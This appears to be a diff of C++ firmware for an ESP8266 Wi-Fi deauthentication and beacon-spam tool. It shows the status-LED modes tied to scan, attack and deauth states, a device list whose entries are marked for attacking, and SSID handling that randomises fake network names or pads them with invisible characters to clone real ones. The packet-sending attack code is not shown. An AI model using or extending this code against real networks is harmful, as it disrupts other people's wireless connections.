LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||
LED::DigitalLED::anode = anode;
|
||||
LED::DigitalLED::rPin = rPin;
|
||||
LED::DigitalLED::gPin = gPin;
|
||||
LED::DigitalLED::bPin = bPin;
|
||||
}
|
||||
|
||||
LED::DigitalLED::~DigitalLED() {}
|
||||
|
||||
void LED::DigitalLED::setup() {
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if (anode) {
|
||||
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||
} else {
|
||||
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||
}
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setBrightness(uint8_t brightness) {}
|
||||
|
||||
|
||||
// ===== AnalogRGBLED ===== //
|
||||
LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||
LED::AnalogRGBLED::anode = anode;
|
||||
LED::AnalogRGBLED::rPin = rPin;
|
||||
LED::AnalogRGBLED::gPin = gPin;
|
||||
LED::AnalogRGBLED::bPin = bPin;
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::AnalogRGBLED::~AnalogRGBLED() {}
|
||||
|
||||
void LED::AnalogRGBLED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||
|
||||
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||
|
||||
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||
|
||||
if (anode) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(rPin, r);
|
||||
analogWrite(gPin, g);
|
||||
analogWrite(bPin, b);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
LED::AnalogRGBLED::brightness = brightness;
|
||||
}
|
||||
|
||||
// ===== NeopixelLED ===== //
|
||||
LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||
strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE);
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::NeopixelLED::~NeopixelLED() {
|
||||
delete strip;
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setup() {
|
||||
strip->begin();
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
int num = strip->numPixels();
|
||||
|
||||
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
strip->setBrightness(brightness);
|
||||
}
|
||||
#include "LED.h"
|
||||
|
||||
LED::LED() {}
|
||||
|
||||
LED::~LED() {
|
||||
if (led) delete led;
|
||||
}
|
||||
|
||||
void LED::setup() {
|
||||
#if defined(DIGITAL_LED)
|
||||
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(RGB_LED)
|
||||
led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||
led->setup();
|
||||
#endif // if defined(DIGITAL_LED)
|
||||
}
|
||||
|
||||
void LED::update() {
|
||||
if (!tempEnabled || !led) return;
|
||||
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||
else setMode(LED_MODE::IDLE, false);
|
||||
}
|
||||
|
||||
void LED::setMode(uint8_t mode, bool force) {
|
||||
if (!led) return;
|
||||
|
||||
if ((mode != LED::mode) || force) {
|
||||
LED::mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case LED_MODE::OFF:
|
||||
led->setColor(0, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::SCAN:
|
||||
led->setColor(0, 0, 255);
|
||||
break;
|
||||
|
||||
case LED_MODE::ATTACK:
|
||||
led->setColor(255, 255, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::DEAUTH:
|
||||
led->setColor(255, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::IDLE:
|
||||
led->setColor(0, 255, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
// debug output
|
||||
if (output) {
|
||||
char s[30];
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
led->setColor(r, g, b);
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
led->setBrightness(brightness);
|
||||
setColor(r, g, b, output);
|
||||
}
|
||||
|
||||
void LED::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void LED::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool LED::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
// ===== DigitalLED ===== //
|
||||
LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||
LED::DigitalLED::anode = anode;
|
||||
LED::DigitalLED::rPin = rPin;
|
||||
LED::DigitalLED::gPin = gPin;
|
||||
LED::DigitalLED::bPin = bPin;
|
||||
}
|
||||
|
||||
LED::DigitalLED::~DigitalLED() {}
|
||||
|
||||
void LED::DigitalLED::setup() {
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if (anode) {
|
||||
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||
} else {
|
||||
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||
}
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setBrightness(uint8_t brightness) {}
|
||||
|
||||
|
||||
// ===== AnalogRGBLED ===== //
|
||||
LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||
LED::AnalogRGBLED::anode = anode;
|
||||
LED::AnalogRGBLED::rPin = rPin;
|
||||
LED::AnalogRGBLED::gPin = gPin;
|
||||
LED::AnalogRGBLED::bPin = bPin;
|
||||
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::AnalogRGBLED::~AnalogRGBLED() {}
|
||||
|
||||
void LED::AnalogRGBLED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||
|
||||
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||
|
||||
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||
|
||||
if (anode) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(rPin, r);
|
||||
analogWrite(gPin, g);
|
||||
analogWrite(bPin, b);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
LED::AnalogRGBLED::brightness = brightness;
|
||||
}
|
||||
|
||||
// ===== NeopixelLED ===== //
|
||||
LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||
strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE);
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::NeopixelLED::~NeopixelLED() {
|
||||
delete strip;
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setup() {
|
||||
strip->begin();
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
int num = strip->numPixels();
|
||||
|
||||
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
strip->setBrightness(brightness);
|
||||
}
|
||||
@@ -1,105 +1,105 @@
|
||||
#ifndef LED_h
|
||||
#define LED_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class LED {
|
||||
public:
|
||||
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||
|
||||
LED();
|
||||
~LED();
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
class StatusLED {
|
||||
public:
|
||||
virtual ~StatusLED() = default;
|
||||
|
||||
virtual void setup() = 0;
|
||||
|
||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||
virtual void setBrightness(uint8_t brightness) = 0;
|
||||
};
|
||||
|
||||
class DigitalLED : public StatusLED {
|
||||
public:
|
||||
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||
~DigitalLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
};
|
||||
|
||||
class AnalogRGBLED : public StatusLED {
|
||||
public:
|
||||
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||
~AnalogRGBLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
uint8_t brightness = 0;
|
||||
};
|
||||
|
||||
class NeopixelLED : public StatusLED {
|
||||
public:
|
||||
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||
~NeopixelLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
Adafruit_NeoPixel* strip;
|
||||
};
|
||||
|
||||
bool tempEnabled = true;
|
||||
uint8_t mode = LED_MODE::OFF;
|
||||
StatusLED* led = NULL;
|
||||
};
|
||||
|
||||
#endif // ifndef LED_h
|
||||
#ifndef LED_h
|
||||
#define LED_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class LED {
|
||||
public:
|
||||
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||
|
||||
LED();
|
||||
~LED();
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
class StatusLED {
|
||||
public:
|
||||
virtual ~StatusLED() = default;
|
||||
|
||||
virtual void setup() = 0;
|
||||
|
||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||
virtual void setBrightness(uint8_t brightness) = 0;
|
||||
};
|
||||
|
||||
class DigitalLED : public StatusLED {
|
||||
public:
|
||||
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||
~DigitalLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
};
|
||||
|
||||
class AnalogRGBLED : public StatusLED {
|
||||
public:
|
||||
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||
~AnalogRGBLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
uint8_t brightness = 0;
|
||||
};
|
||||
|
||||
class NeopixelLED : public StatusLED {
|
||||
public:
|
||||
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||
~NeopixelLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
Adafruit_NeoPixel* strip;
|
||||
};
|
||||
|
||||
bool tempEnabled = true;
|
||||
uint8_t mode = LED_MODE::OFF;
|
||||
StatusLED* led = NULL;
|
||||
};
|
||||
|
||||
#endif // ifndef LED_h
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,104 +1,104 @@
|
||||
#ifndef Names_h
|
||||
#define Names_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 16
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Names_h
|
||||
#ifndef Names_h
|
||||
#define Names_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 16
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Names_h
|
||||
@@ -1,316 +1,316 @@
|
||||
#include "SSIDs.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
